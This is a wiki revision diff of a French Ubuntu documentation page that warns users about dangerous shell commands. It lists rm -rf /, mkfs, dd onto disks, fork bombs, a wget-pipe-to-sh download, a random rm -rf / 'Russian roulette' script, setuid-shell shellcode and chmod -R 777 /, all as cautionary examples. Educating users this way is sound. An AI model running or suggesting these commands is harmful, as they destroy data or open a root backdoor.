Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

Les deux révisions précédentes Révision précédente
Prochaine révision
Révision précédente
commandes_dangereuses [Le 22/07/2009, 00:01]
213.95.41.13
commandes_dangereuses [Le 29/01/2024, 18:43] (Version actuelle)
krodelabestiole + note --no-preserve-root
Ligne 1: Ligne 1:
-{{tag>bash script}}+{{tag>​script}}
  
-====== Les commandes dangereuses ====== ​+---- 
 + 
 +====== Les commandes dangereuses ======
  
-La ligne de commande est un outil puissant, et notamment très pratique pour détecter ou résoudre les problèmes : il en est donc souvent fait usage sur le forum ou dans la documentation. Cependant, certains utilisateurs malveillants peuvent donner des commandes dangereuses qui corrompent, voire détruisent le système, ou les données. L'​exécution d'une commande nécessite donc toujours la plus grande prudence (recherche ​sur Google, attente d'un deuxième avis, etc.).+La ligne de commande est un outil puissant, et notamment très pratique pour détecter ou résoudre les problèmes : il en est donc souvent fait usage sur le forum ou dans la documentation. Cependant, certains utilisateurs malveillants peuvent donner des commandes dangereuses qui corrompent, voire détruisent le système, ou les données. L'​exécution d'une commande nécessite donc toujours la plus grande prudence (utiliser la commande [[man]], moteurs de recherche, attente d'un deuxième avis, etc.).
    
 À titre d'​exemple et dans un but éducatif, afin de montrer qu'il convient toujours de se méfier, voilà quelques commandes dangereuses. À titre d'​exemple et dans un but éducatif, afin de montrer qu'il convient toujours de se méfier, voilà quelques commandes dangereuses.
  
-<note warning>​Attention,​ ces commandes sont dangereuses,​ **ne les exécutez pas** !</​note>​+<note warning>​Attention,​ ces commandes sont dangereuses,​ **ne les exécutez pas** !\\ 
 +N'​exécutez sous aucun prétexte une commande dont vous n'​êtes pas sûr, n'​hésitez pas à demander conseil sur le forum.</​note>​
  
 Cette liste est loin d'​être exhaustive, mais devrait vous donner un aperçu de ce que les gens peuvent essayer de vous inciter à faire. Souvenez-vous que cela peut être dissimulé dans une commande ou masqué dans le cadre d'une procédure longue. Cette liste est loin d'​être exhaustive, mais devrait vous donner un aperçu de ce que les gens peuvent essayer de vous inciter à faire. Souvenez-vous que cela peut être dissimulé dans une commande ou masqué dans le cadre d'une procédure longue.
  
-<​note ​help>Les "​QUELQUE_CHOSE",​ "​QUELQUE_COMMANDE"​ et "​QUELQUE_CHOSE_IMPORTANT"​ indiqués dans les commandes pouvant être remplacés par n'​importe quelle chaîne de caractères</​note>​+<note >Les "​QUELQUE_CHOSE",​ "​QUELQUE_COMMANDE"​ et "​QUELQUE_CHOSE_IMPORTANT"​ indiqués dans les commandes pouvant être remplacés par n'​importe quelle chaîne de caractères.</​note>​
  
-===== Suppression de tous les fichiers ou des fichiers du répertoire ​courant ​ou de fichiers importants===== +===== Suppression de tous les fichiers ou des fichiers du répertoire ​actuel ​ou de fichiers importants =====
-Le danger de ces commandes est tout à fait évident : +
  
-<​code>​rm -rf /+Sous linux avec un terminal on peut tout faire, absolument tout. Donc lisez bien ceci : 
 +Le danger de ces commandes est tout à fait évident : 
 +<note warning>​ 
 +Règle n° 1 : NE JAMAIS VALIDER UNE COMMANDE QUI POURRAIT VOUS FAIRE PERDRE VOS DONNÉES ET VOTRE SYSTÈME.</​note>​ 
 + 
 +En cas de doute, n'​hésitez pas à faire une sauvegarde de vos données sur un support externe tel qu'une clef USB, un disque dur USB, ou un CD/DVD enregistrable,​ et à vérifier que la sauvegarde a fonctionné. 
 + 
 +Celles qui peuvent tout effacer (fichier système ou données personnelles) : 
 +<​code>​ 
 +rm -rf /
 rm -rf . rm -rf .
 rm -rf * rm -rf *
Ligne 22: Ligne 33:
 shred QUELQUE_CHOSE shred QUELQUE_CHOSE
 QUELQUE_COMMANDE > QUELQUE_CHOSE_IMPORTANT QUELQUE_COMMANDE > QUELQUE_CHOSE_IMPORTANT
-sed […] -i […]+sed QUELQUE_CHOSE ​-i QUELQUE_CHOSE 
 +mv -r / /dev/null (Déplace les fichiers de façon récursive depuis la racine vers null = tout est effacé).
 </​code>​ </​code>​
  
-===== Re-formatage. =====  +<​note>​ 
-Les données ​sur le périphérique mentionné après ​la commande ​mkfs sera détruit et remplacé ​par un système de fichier vide : +Aujourd'​hui il existe tout de même une sécurité pour éviter que les bugs((voir ce [[https://​github.com/​ValveSoftware/​steam-for-linux/​issues/​3671|bug assez effroyable]] dans un ancien installeur de [[:​Steam]] ​sur Linux par ex.)), les mauvaises manipulations,​ ou les mauvaises blagues autour de la fameuse ​commande ​''​rm -rf /''​ entraînent des dégâts. 
 +  * L'​option ''​%%--%%preserve-root''​ est activée ​par défaut. 
 +  * Si par contre vous voyez l'​option ''​%%--%%no-preserve-root''​ quelque part sous vos yeux, mettez-vous en alerte maximale ! Il n'​existe aucune raison ordinaire d'​utiliser cette option. 
 +</​note>​
  
-<​code>​mkfs+la commande 
 +<​code>​ 
 +> fichiers* 
 +</​code>​ 
 +est aussi redoutable : elle redirige du rien en écrasant les fichiers. 
 + 
 +ainsi que toutes les variantes commençant par '​rm'​ et '​mv'​ et se terminant par /dev/null 
 +Pourquoi ? 
 + 
 +  * rm est la commande de suppression des fichiers sous Gnu/Linux, rm quelque chose supprimera ce quelque chose, imaginez que vous supprimez tous vos fichiers système ( racine / ) , ou vos fichier personnels ( /​home/<​votreidentifiant/​ ) ! 
 +/dev/null est l'​équivalent de la corbeille définitive,​ tout fichier envoyé à cette sortie entraîne sa suppression. 
 + 
 +Assurez vous que : 
 +  * un avertissement vous prévient et vous en assumerez les conséquences en cas de perte de données. 
 +  * la documentation est bien claire, bien rédigée, explicite. 
 + 
 +Protection remplacer le plus souvent possible cette commande par : 
 +<​code>​rm -i <nom du fichier à supprimer></​code>​ ( mode interactif avec confirmation de suppression ) 
 +Vous pouvez aussi utiliser la commande mv ( déplacer ) 
 +<​code>​mv <nom du fichier à supprimer>​ ~/​.local/​share/​Trash/​files</​code>​ 
 + 
 +Exemple : 
 + 
 +Suppression du fichier labrador.jpeg (une image) 
 +au lieu d'​exécuter : 
 +<​code>​rm labrador.jpeg</​code>​ 
 + 
 +Entrez plutôt : 
 +<​code>​rm -i labrador.jpeg</​code>​ 
 +<​code>​mv labrador.jpeg ~/​.local/​share/​Trash/​files</​code>​ 
 + 
 +<note help>Un doute ? [[http://​forum.ubuntu-fr.org|Posez vos questions sur le forum : http://​forum.ubuntu-fr.org]]</​note>​ 
 + 
 +<note warning>​ 
 +Règle n° 2 : NE JAMAIS ou du moins LE MOINS POSSIBLE OUVRIR NAUTILUS (LE GESTIONNAIRE DE FICHIERS) EN MODE SUPER UTILISATEUR (ROOT) VOUS POURRIEZ PERDRE VOS DONNÉES ET ENDOMMAGER VOTRE SYSTÈME.</​note>​ 
 + 
 +  * La commande find peut aussi être dangereuse, avec son paramètre -exec qui permet d'​exécuter une commande sur le résultat d'une recherche. 
 +Par exemple, la commande suivante est très dangereuse : elle provoque la suppressions de tous les fichiers. 
 +<​code>​sudo find / -name "​*"​ -exec rm {} \;</​code>​ 
 +De même pour **rm** qui est utilisé. 
 +===== Re-formatage ===== 
 + 
 +Les données sur le périphérique mentionné après la commande mkfs seront détruites et remplacées par un système de fichier vide : 
 + 
 +<​code>​ 
 +mkfs
 mkfs.ext3 mkfs.ext3
-mkfs.QUELQUE_CHOSE</​code>​+mkfs.QUELQUE_CHOSE 
 +</​code>​
  
-===== Manipulation de périphériques de stockage =====  +===== Manipulation de périphériques de stockage ===== 
-Écrit des données sur le périphérique et peut entraîner la perte totale des données : + 
 +Écrit des données sur le périphérique et peut entraîner la perte totale des données : 
 + 
 +<​code>​ 
 +QUELQUE_COMMANDE > /dev/sda 
 +dd if=QUELQUE_CHOSE of=/​dev/​sda 
 +</​code>​
  
-<​code>​QUELQUE_COMMANDE > /dev/sda 
-dd if=QUELQUE_CHOSE of=/​dev/​sda</​code>​ 
 ===== Forkbomb ===== ===== Forkbomb =====
 +
 Exécute un grand nombre de processus jusqu'​à ce que le système gèle, ce qui vous force à faire un arrêt brutal et peut causer la corruption du système, ou d'​autres désagréments. Exécute un grand nombre de processus jusqu'​à ce que le système gèle, ce qui vous force à faire un arrêt brutal et peut causer la corruption du système, ou d'​autres désagréments.
  
-Avec le shell Bash : +Avec le shell Bash :
  
-<​code>​:​(){:​|:&​};:​</​code>​+  ​:​(){:​|:&​};:​
  
-En Perl :  +En Perl :
-<​code>​perl -e "fork while fork"</​code>​ +
-Si vous voulez savoir comment se protéger contre les forks bombs allez voir [[:​tutoriel:​comment_se_proteger_des_fork_bomb|ici]]+
  
-===== Tarbomb =====  +  perl -e "fork while fork"
-Quelqu'​un vous demande d'​extraire une archive dans un répertoire existant. Cette archive tar peut être conçue pour exploser en un grand nombre de fichiers, voire écraser les fichiers de l'​utilisateur qui portent le même nom que ceux de l'​archive. Vous devriez donc prendre l'​habitude de décompresser des tar dans un répertoire propre.+
  
 +Si vous voulez savoir comment se protéger contre les forks bombs allez voir [[:​tutoriel:​comment_se_proteger_des_fork_bomb|ici]].
 +
 +===== Tarbomb =====
 +
 +Quelqu'​un vous demande d'​extraire une archive dans un répertoire existant. Cette archive tar peut être conçue pour exploser en un grand nombre de fichiers, voire écraser les fichiers de l'​utilisateur qui portent le même nom que ceux de l'​archive. Vous devriez donc prendre l'​habitude de décompresser des tar dans un nouveau répertoire vide.
 +Ce cas est extrêmement rare, puisque, sous Ubuntu du moins, une archive contenant plus d'un fichier se décompressera dans un nouveau dossier.
 +<note important>​On parle ici de fichiers tar, mais c'est valable pour tous les formats de compression existant (zip, gzip, tar-gz etc...)</​note>​
 ===== Decompression bomb ===== ===== Decompression bomb =====
 +
 Quelqu'​un vous demande d'​extraire une archive qui semble petite lors du téléchargement mais qui contient à la décompression des données d'une taille beaucoup plus considérable,​ au point de remplir votre disque dur. Vous ne devriez pas utiliser des données d'une source non-fiable. Quelqu'​un vous demande d'​extraire une archive qui semble petite lors du téléchargement mais qui contient à la décompression des données d'une taille beaucoup plus considérable,​ au point de remplir votre disque dur. Vous ne devriez pas utiliser des données d'une source non-fiable.
 +N'​hésitez pas à regarder ce que contient le fichier compressé **avant** la décompression.
 +===== Shell =====
  
-===== Shell =====  +Quelqu'​un vous donne le lien vers un script shell à exécuter. Il peut contenir n'​importe quelle commande (bénigne ou malveillante). Vous ne devriez pas exécuter du code de personnes à qui vous ne faites pas confiance :
-Quelqu'​un vous donne le lien vers un script shell à exécuter. Il peut contenir n'​importe quelle commande (bénigne ou malveillante). Vous ne devriez pas exécuter du code de personnes à qui vous ne faites pas confiance : +
  
-<​code>​wget http://​une_adresse/​un_fichier +  ​wget http://​une_adresse/​un_fichier 
-sh ./​un_fichier</​code>​+  sh ./​un_fichier
  
-<​code>​wget http://​une_adresse/​un_fichier -O- | sh</​code>​+  ​wget http://​une_adresse/​un_fichier -O- | sh
  
-===Roulette russe===+==== Roulette russe ====
  
-Une fois ce script lancé, vous avez une "​chance"​ sur 6 pour que tous les fichiers à la racine de votre système soient effacés. Faites attention à ce script et ses variantes!!+Une fois ce script lancé, vous avez une "​chance"​ sur 6 pour que tous les fichiers à la racine de votre système soient effacés. Faites attention à ce script et ses variantes !
  
-<​code>#​!/​bin/​bash+<​code>​ 
 +#!/bin/bash
 echo ""​ echo ""​
-[ $[ $RANDOM % 6 ] == 0 ] && rm -fr / || echo "You live" ​+! (( $RANDOM % 6 )) && rm -rf / || echo "You live" ​
 exit 0 exit 0
 </​code> ​ </​code> ​
- 
  
 ===== Compilation de code ===== ===== Compilation de code =====
 +
 Quelqu'​un vous donne le code source et vous dit de le compiler. Il est facile de cacher du code malveillant dans un long code source, et le code source donne à l'​attaquant beaucoup de possibilités pour déguiser son code malveillant. Vous ne devriez pas compiler ou exécuter le code compilé, à moins qu'il ne s'​agisse d'une application bien connue, obtenue à partir d'un site réputé (SourceForge,​ les sites Ubuntu, etc.). Quelqu'​un vous donne le code source et vous dit de le compiler. Il est facile de cacher du code malveillant dans un long code source, et le code source donne à l'​attaquant beaucoup de possibilités pour déguiser son code malveillant. Vous ne devriez pas compiler ou exécuter le code compilé, à moins qu'il ne s'​agisse d'une application bien connue, obtenue à partir d'un site réputé (SourceForge,​ les sites Ubuntu, etc.).
  
-Par exemple :  +Par exemple : 
-<​code>​char esp[] __attribute__ ((section("​.text"​))) /* e.s.p+ 
 +<​code>​ 
 +char esp[] __attribute__ ((section("​.text"​))) /* e.s.p
 release */ release */
                 = "​\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"​                 = "​\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"​
Ligne 87: Ligne 162:
                   "​\x6e\x2f\x73\x68\x00\x2d\x63\x00"​                   "​\x6e\x2f\x73\x68\x00\x2d\x63\x00"​
                   "cp -p /bin/sh /​tmp/​.beyond;​ chmod 4755                   "cp -p /bin/sh /​tmp/​.beyond;​ chmod 4755
-/​tmp/​.beyond;";</​code>​ +/​tmp/​.beyond;";​ 
-Ceci est la forme hexadécimale de rm -rf qui va détruire votre répertoire en tant que simple utilisateur,​ ou tous les fichiers en tant que root. +</​code>​ 
 + 
 +Ceci est la forme hexadécimale de ''​rm -rf'' ​qui va détruire votre répertoire en tant que simple utilisateur,​ ou tous les fichiers en tant que root. 
 ===== Changements de droits ===== ===== Changements de droits =====
-<​code>​chmod -R 777 / </​code>​+ 
 +  ​chmod -R 777 / 
 Ceci donne les droits de lecture et d'​écriture sur tous les fichiers. Or les commandes situées dans /bin ne supportent pas ce mode. Ceci donne les droits de lecture et d'​écriture sur tous les fichiers. Or les commandes situées dans /bin ne supportent pas ce mode.
 Dans ce cas, il faut réattribuer la valeur o-w, il faut que vous ayez les droits u+w sur /tmp Dans ce cas, il faut réattribuer la valeur o-w, il faut que vous ayez les droits u+w sur /tmp
  
-Pour info: +Pour info : 
-un / non modifié:+un / non modifié :
 <​code>​ <​code>​
 $ ls -al / $ ls -al /
Ligne 126: Ligne 206:
 lrwxrwxrwx ​  1 root root    30 2009-07-09 23:04 vmlinuz.old -> boot/​vmlinuz-2.6.28-13-generic lrwxrwxrwx ​  1 root root    30 2009-07-09 23:04 vmlinuz.old -> boot/​vmlinuz-2.6.28-13-generic
 </​code>​ </​code>​
-Plus généralement,​ attention aux changements de droits, surtout quand ils s'​appliquent sur des dossier. Par exemple un  + 
-<​code>​chmod -R xxx /​home/​votre_utilisateur</​code>​ +Plus généralement,​ attention aux changements de droits, surtout quand ils s'​appliquent sur des dossiers. Par exemple un <​code>​chmod -R xxx /​home/​votre_utilisateur</​code> ​**peut vous obliger à recréer un compte utilisateur,​ vu que certains fichiers nécessitent des droits particuliers.**
-peut vous obliger à recréer un compte utilisateur,​ vu que certains fichiers nécessitent des droits particuliers.+
  
 ===== Ajout d'un mot de passe au compte ===== ===== Ajout d'un mot de passe au compte =====
  
 +  sudo passwd root
  
-<​code>​sudo passwd root</​code>​ 
 La commande "sudo passwd root " peut vous faire perdre vos droits sudo !! La commande "sudo passwd root " peut vous faire perdre vos droits sudo !!
  
-8-) Pour récupérer ses droits sudo sur son compte, se loguer en root ("su root") et tapez: +8-) Pour récupérer ses droits sudo sur son compte, se loguer en root ("sudo -i") et tapez : 
-<​code>​adduser votre_username sudo</​code>​+ 
 +  ​adduser votre_username sudo
  
 ===== Conclusion ===== ===== Conclusion =====
-Encore une fois, il ne s'agit pas de donner une liste complète des commandes malveillantes,​ et il ne faut pas utiliser cette page comme une liste de vérification pour déterminer si une commande est dangereuse ou pas ! Cette page est simplement éducative, pour faire prendre conscience à l'​utilisateur de la dangerosité du shell. Toute commande ne doit être exécutée que si elle est sûre et si l'on comprend ce que l'on fait. 
  
 +Encore une fois, il ne s'agit pas de donner une liste complète des commandes malveillantes,​ et il ne faut pas utiliser cette page comme une liste de vérification pour déterminer si une commande est dangereuse ou pas ! Cette page est simplement éducative, pour faire prendre conscience à l'​utilisateur du danger potentiel du shell. Toute commande ne doit être exécutée que si elle est sûre et si l'on comprend ce que l'on fait.
 +
 +Le meilleur moyen d'​évaluer les risques est probablement l'​utilisation de la commande [[:​man]]. ​
  
 ---- ----
-//​Contributeurs : [[utilisateurs:​la tite gogole]], [[utilisateurs:​tshirtman]],​ [[utilisateurs:​morgen_stern]].//​ 
  
-//Basé sur [[http://​ubuntuforums.org/​announcement.php?​f=359|« ATTENTION ALL USERS: Malicious Commands ​  »]] par jdong.//+//​Contributeurs principaux : [[utilisateurs:​на_краю]],​ [[utilisateurs:​tshirtman]],​ [[utilisateurs:​morgen_stern]].//​ 
 + 
 +//Basé sur « [[https://​ubuntuforums.org/​announcement.php?​f=359|ATTENTION ALL USERS: Malicious Commands]] ​» par jdong.//
  • commandes_dangereuses.1248213672.txt.gz
  • Dernière modification: Le 18/04/2011, 14:45
  • (modification externe)